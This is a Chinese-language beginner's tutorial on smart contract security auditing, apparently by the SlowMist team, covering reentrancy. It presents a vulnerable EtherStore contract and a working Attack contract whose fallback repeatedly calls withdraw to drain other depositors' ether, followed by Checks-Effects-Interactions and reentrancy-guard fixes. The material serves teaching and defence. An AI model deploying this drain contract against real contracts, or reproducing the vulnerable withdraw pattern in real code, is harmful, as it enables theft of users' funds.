智能合約安全審計入門篇——重入漏洞

By:小白@慢霧安全團隊背景概述看了一個關於學習solidity 的站(https://solidity-by-example.org),裡面講了關於solidity 智能合約的很多漏洞,考慮到現在針對智能合約的攻擊事件頻頻發生,不法分子盜取的加密資產越來越多,我就想寫一些與智能合約安全

By:小白@慢霧安全團隊

背景概述

看了一個關於學習solidity 的站(https://solidity-by-example.org),裡面講了關於solidity 智能合約的很多漏洞,考慮到現在針對智能合約的攻擊事件頻頻發生,不法分子盜取的加密資產越來越多,我就想寫一些與智能合約安全審計相關的文章給想了解智能合約安全審計的入門者閱讀,讓一些對智能合約安全審計感興趣的初學者可以學到如何識別一些常見的漏洞和如何利用這些漏洞去做什麼事情。這次我們就一起先看一個很經典的漏洞——重入漏洞。

前置知識

重入漏洞相信大家都有所耳聞了,那麼什麼是重入漏洞呢?

以太坊智能合約的特點之一是合約之間可以進行相互間的外部調用。同時,以太坊的轉賬不僅僅局限於外部賬戶,合約賬戶同樣可以擁有以太並進行轉賬等操作,且合約在接收以太的時候會觸發fallback 函數執行相應的邏輯,這是一種隱藏的外部調用。

我們先給重入漏洞下個定義:可以認為合約中所有的外部調用都是不安全的,都有可能存在重入漏洞。例如:如果外部調用的目標是一個攻擊者可以控制的惡意的合約,那麼當被攻擊的合約在調用惡意合約的時候攻擊者可以執行惡意的邏輯然後再重新進入到被攻擊合約的內部,通過這樣的方式來發起一筆非預期的外部調用,從而影響被攻擊合約正常的執行邏輯。

漏洞示例

好了,看完上面的前置知識我相信大家對重入漏洞都有了一個大致的了解,那麼在真實的環境中開發者寫出什麼樣的代碼會出現重入漏洞呢,下面我們來看一個比較典型的有重入漏洞的代碼:

// SPDX-License-Identifier: MITpragma solidity ^0.8.3;contract EtherStore { mapping(address => uint) public balances; function deposit() public payable { balances[msg.sender] += msg.value; } function withdraw () public { uint bal = balances[msg.sender]; require(bal > 0); (bool sent, ) = msg.sender.call{value: bal}(''); require(sent, 'Failed to send Ether'); balances[msg.sender] = 0; } // Helper function to check the balance of this contract function getBalance() public view returns (uint) { return address(this).balance; }}

漏洞分析

看到這里大家可能會有疑惑了,上面的代碼就是個普通的充提幣的合約,憑什麼說他有重入攻擊呢?我們來看這個合約的withdraw 函數,這個函數中的轉賬操作有一個外部調用(msg.sender.call{value: bal}),所以我們就可以認為這個合約是可能有重入漏洞的,但是具體能否產生危害還需要更深入的分析:

1. 所有的外部調用都是不安全的且合約在接收以太的時候會觸發fallback 函數執行相應的邏輯,這是一種隱藏的外部調用,這種隱藏的外部調用是否會造成危害呢?

2. 我們可以看到在withdraw 函數中是先執行外部調用進行轉賬後才將賬戶餘額清零的,那我們可不可以在轉賬外部調用的時候構造一個惡意的邏輯合約在合約執行balance[msg.sender ]=0 之前一直循環調用withdraw 函數一直提幣從而將合約賬戶清空呢?

下面我們看看攻擊者編寫的攻擊合約中的攻擊手法是否與我們的漏洞分析相同:

攻擊合約

contract Attack { EtherStore public etherStore; constructor(address _etherStoreAddress) { etherStore = EtherStore(_etherStoreAddress); } // Fallback is called when EtherStore sends Ether to this contract. fallback() external payable { if (address(etherStore).balance >= 1 ether) { etherStore.withdraw(); } } function attack() external payable { require(msg.value >= 1 ether); etherStore.deposit{value: 1 ether}(); etherStore.withdraw(); } / / Helper function to check the balance of this contract function getBalance() public view returns (uint) { return address(this).balance; }}

我們看到EtherStore 合約是一個充提合約,我們可以在其中充提以太。下面我們將利用攻擊合約將EtherStore 合約中用戶的餘額清零的:

這裡我們將引用三個角色,分別為:

用戶:Alice,Bob

攻擊者:Eve

1. 部署EtherStore 合約;

2. 用戶1(Alice)和用戶2(Bob)都分別將1 個以太幣充值到EtherStore 合約中;

3. 攻擊者Eve 部署Attack 合約時傳入EtherStore 合約的地址;

4. 攻擊者Eve 調用Attack.attack 函數,Attack.attack 又調用EtherStore.deposit 函數,充值1 個以太幣到EtherStore 合約中,此時EtherStore 合約中共有3 個以太,分別為Alice、Bob 的2 個以太和攻擊者Eve 剛剛充值進去的1 個以太。然後Attack.attack 又調用EtherStore.withdraw 函數將自己剛剛充值的以太取出,此時EtherStore 合約中就只剩下Alice、Bob 的2 個以太了;

5. 當Attack.attack 調用EtherStore.withdraw 提取了先前Eve 充值的1 個以太時會觸發Attack.fallback 函數。這時只要EtherStore 合約中的以太大於或等於1 Attack.fallback 就會一直調用EtherStore.withdraw 函數將EtherStore 合約中的以太提取到Attack 合約中,直到EtherStore 合約中的以太小於1 。這樣攻擊者Eve 會得到EtherStore 合約中剩下的2 個以太幣(Alice、Bob 充值的兩枚以太幣)。

下面是攻擊者的函數調用流程圖:

修復建議

看了上面的攻擊手法相信大家對重入漏洞都會有一個自己的認知,但是只會攻擊可不行,我們的目的是為了防禦,那麼作為開發人員如何避免寫出漏洞代碼還有作為審計人員如何快速發現問題代碼呢,下面我們就以這兩個身份來分析如何防禦重入漏洞和如何在代碼中快速找出重入漏洞:

(1)作為開發人員

站在開發者的角度我們需要做的是寫好代碼,避免重入漏洞的產生。

1. 寫代碼時需要遵循先判斷,後寫入變量在進行外部調用的編碼規範(Checks-Effects-Interactions);

2. 加入防重入鎖。

下面是一個防重入鎖的代碼示例:

// SPDX-License-Identifier: MITpragma solidity ^0.8.3;contract ReEntrancyGuard { bool internal locked; modifier noReentrant() { require(!locked, 'No re-entrancy'); locked = true; _; locked = false; }}

(2)作為審計人員

作為審計人員我們需要關注的是重入漏洞的特徵:所有涉及到外部合約調用的代碼位置都是不安全的。這樣在審計過程中需要重點關注外部調用,然後推演外部調用可能產生的危害,這樣就能判斷這個地方是否會因為重入點而產生危害。

分享至:

作者:慢雾科技

本文為PANews入駐專欄作者的觀點,不代表PANews立場,不承擔法律責任。

文章及觀點也不構成投資意見

圖片來源:慢雾科技如有侵權,請聯絡作者刪除。

關注PANews官方賬號,一起穿越牛熊
推薦閱讀
2小時前
3小時前
4小時前
5小時前
6小時前
6小時前

熱門文章

行業要聞
市場熱點
精選讀物

精選專題

App内阅读